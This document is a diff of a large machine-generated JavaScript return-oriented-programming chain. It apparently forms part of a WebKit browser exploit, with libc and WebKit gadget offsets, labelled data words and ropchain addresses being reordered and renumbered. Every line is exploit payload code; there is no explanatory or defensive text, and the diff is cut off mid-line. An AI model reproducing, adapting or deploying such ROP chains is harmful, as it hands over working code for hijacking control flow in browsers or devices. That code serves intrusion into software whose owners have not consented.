0x0 @@ -12191,16 +12191,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+137232, //L1872 +ropchain+137248, //L1874 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1872: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1873: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1874: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -12208,7 +12208,7 @@ ropchain+137336, //L1875 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+137352, //L1876 +ropchain+137352, //L1877 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -12216,7 +12216,7 @@ libc_base+206806 //pop rdi //L1875: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1876: +//L1877: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -12280,16 +12280,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+137760, //L1885 +ropchain+137776, //L1887 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1885: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1886: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1887: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -12297,7 +12297,7 @@ ropchain+137864, //L1888 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+137880, //L1889 +ropchain+137880, //L1890 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -12305,25 +12305,25 @@ libc_base+206806 //pop rdi //L1888: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1889: +//L1890: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+137984, //L1892 +ropchain+137968, //L1892 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+137968, //L1891 +ropchain+137984, //L1893 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L1891: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L1892: db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L1893: +db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi @@ -12379,14 +12379,14 @@ ropchain+138360, //L1902 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+138328, //L1901 +ropchain+138328, //L1900 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1901: +//L1900: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1900: +//L1901: db([56, 0]); // 0x38 set_gadget(libc_base+788575,); //pop rax //L1902: @@ -12395,20 +12395,20 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+138488, //L1904 +ropchain+138472, //L1903 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+138504, //L1905 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+138472, //L1903 +ropchain+138488, //L1904 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1903: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1904: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -12459,16 +12459,16 @@ libc_base+811575, //pop rsp ropchain+140160, //L1910 //L1848: libc_base+793877, //pop rsi -ropchain+138792, //L1911 +ropchain+138808, //L1913 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1911: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1912: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1913: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -12476,7 +12476,7 @@ ropchain+138896, //L1914 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+138912, //L1915 +ropchain+138912, //L1916 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -12484,7 +12484,7 @@ libc_base+206806 //pop rdi //L1914: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1915: +//L1916: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -12515,16 +12515,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+139136, //L1920 +ropchain+139152, //L1922 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1920: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1921: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1922: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -12532,7 +12532,7 @@ ropchain+139240, //L1923 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139256, //L1924 +ropchain+139256, //L1925 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -12540,7 +12540,7 @@ libc_base+206806 //pop rdi //L1923: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1924: +//L1925: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -12550,23 +12550,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+139440, //L1929 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+139424, //L1927 +ropchain+139392, //L1927 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139392, //L1928 +ropchain+139424, //L1928 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1928: +//L1927: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1926: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1927: +//L1928: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1929: @@ -12611,21 +12611,21 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+139776, //L1935 +ropchain+139776, //L1936 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+139792, //L1937 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139760, //L1936 +ropchain+139760, //L1935 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1936: +//L1935: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1935: +//L1936: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1937: @@ -12633,20 +12633,20 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+139912, //L1939 +ropchain+139896, //L1938 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+139928, //L1940 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+139896, //L1938 +ropchain+139912, //L1939 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1938: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1939: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -12987,7 +12987,7 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+141960, //L1955 +ropchain+141960, //L1954 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi @@ -12996,7 +12996,7 @@ webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L1955: +//L1954: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L1956: @@ -13011,7 +13011,7 @@ ropchain+142080, //L1958 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+142096, //L1959 +ropchain+142096, //L1960 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -13019,25 +13019,25 @@ libc_base+206806 //pop rdi //L1958: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1959: +//L1960: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+142216, //L1962 +ropchain+142200, //L1961 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+142232, //L1963 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+142200, //L1961 +ropchain+142216, //L1962 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1961: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1962: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -13155,7 +13155,7 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+142936, //L1977 +ropchain+142936, //L1976 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi @@ -13164,7 +13164,7 @@ webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L1977: +//L1976: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L1978: @@ -13179,7 +13179,7 @@ ropchain+143056, //L1980 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+143072, //L1981 +ropchain+143072, //L1982 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -13187,7 +13187,7 @@ libc_base+206806 //pop rdi //L1980: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1981: +//L1982: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -13197,23 +13197,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+143256, //L1986 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+143240, //L1984 +ropchain+143208, //L1984 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+143208, //L1985 +ropchain+143240, //L1985 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1985: +//L1984: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1983: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1984: +//L1985: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1986: @@ -13223,24 +13223,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+143416, //L1990 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+143384, //L1987 +ropchain+143368, //L1988 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+143368, //L1989 +ropchain+143400, //L1989 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1989: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L1987: +//L1988: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1988: +//L1987: db([32, 0]); // 0x20 +set_gadget(libc_base+206806,); //pop rdi +//L1989: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1990: db([0, 0]); // 0x0 @@ -13248,20 +13248,20 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+143544, //L1992 +ropchain+143528, //L1991 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+143560, //L1993 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+143528, //L1991 +ropchain+143544, //L1992 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1991: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1992: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -13379,7 +13379,7 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+144264, //L2007 +ropchain+144264, //L2006 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi @@ -13388,7 +13388,7 @@ webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L2007: +//L2006: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L2008: @@ -13403,7 +13403,7 @@ ropchain+144384, //L2010 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+144400, //L2011 +ropchain+144400, //L2012 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -13411,43 +13411,43 @@ libc_base+206806 //pop rdi //L2010: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2011: +//L2012: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi ropchain+144560, //L2016 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+144528, //L2013 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+144512, //L2014 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+144544, //L2015 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L2014: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2013: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2015: +//L2013: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L2015: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2016: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+144616, //L2017 +ropchain+144616, //L2018 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2017: +//L2018: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -13476,24 +13476,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+144912, //L2025 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+144880, //L2022 +ropchain+144864, //L2023 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+144864, //L2024 +ropchain+144896, //L2024 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2024: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2022: +//L2023: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2023: +//L2022: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2024: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2025: db([0, 0]); // 0x0 @@ -13519,11 +13519,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L2028: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L2029: db([8, 0]); // 0x8 set_gadgets([ @@ -13539,14 +13539,14 @@ ropchain+145224, //L2032 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+145192, //L2031 +ropchain+145192, //L2030 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2031: +//L2030: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2030: +//L2031: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L2032: @@ -13574,16 +13574,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+145408, //L2035 +ropchain+145424, //L2037 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2035: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L2036: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2037: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -13591,7 +13591,7 @@ ropchain+145512, //L2038 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+145528, //L2039 +ropchain+145528, //L2040 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -13599,43 +13599,43 @@ libc_base+206806 //pop rdi //L2038: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2039: +//L2040: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi ropchain+145688, //L2044 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+145656, //L2041 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+145640, //L2042 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+145672, //L2043 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L2042: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2041: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2043: +//L2041: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L2043: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2044: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+145744, //L2045 +ropchain+145744, //L2046 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2045: +//L2046: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -13664,24 +13664,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+146040, //L2053 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146008, //L2050 +ropchain+145992, //L2051 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+145992, //L2052 +ropchain+146024, //L2052 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2052: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2050: +//L2051: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2051: +//L2050: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2052: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2053: db([0, 0]); // 0x0 @@ -13707,11 +13707,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L2056: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L2057: db([8, 0]); // 0x8 set_gadgets([ @@ -13726,14 +13726,14 @@ ropchain+146344, //L2060 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146312, //L2059 +ropchain+146312, //L2058 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2059: +//L2058: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2058: +//L2059: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L2060: @@ -13762,14 +13762,14 @@ ropchain+146560, //L2065 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146528, //L2064 +ropchain+146528, //L2063 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2064: +//L2063: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2063: +//L2064: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L2065: @@ -13778,22 +13778,22 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+146624, //L2066 +ropchain+146624, //L2067 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L2066: +//L2067: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+146680, //L2068 +ropchain+146680, //L2069 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2068: +//L2069: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -13801,21 +13801,21 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+146824, //L2070 +ropchain+146824, //L2071 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+146840, //L2072 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+146808, //L2071 +ropchain+146808, //L2070 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2071: +//L2070: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2070: +//L2071: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2072: @@ -13825,24 +13825,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+147000, //L2076 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146968, //L2073 +ropchain+146952, //L2074 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+146952, //L2075 +ropchain+146984, //L2075 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2075: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2073: +//L2074: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2074: +//L2073: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2075: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2076: db([0, 0]); // 0x0 @@ -13850,20 +13850,20 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+147128, //L2078 +ropchain+147112, //L2077 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+147144, //L2079 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+147112, //L2077 +ropchain+147128, //L2078 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L2077: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L2078: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -13970,64 +13970,64 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147752, //L2090 +ropchain+147752, //L2091 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2090: +//L2091: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147816, //L2092 +ropchain+147816, //L2093 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2092: +//L2093: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([24, 0]); // 0x18 +db([16, 0]); // 0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147920, //L2096 +ropchain+147920, //L2097 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+147968, //L2097 +ropchain+147968, //L2098 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2096: +//L2097: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2094: +//L2095: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2095: +//L2096: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2097: +//L2098: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+148064, //L2099 +ropchain+148064, //L2100 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+148048, //L2098 +ropchain+148048, //L2099 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2098: +//L2099: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2099: +//L2100: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -14036,20 +14036,20 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2100: +//L2101: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub 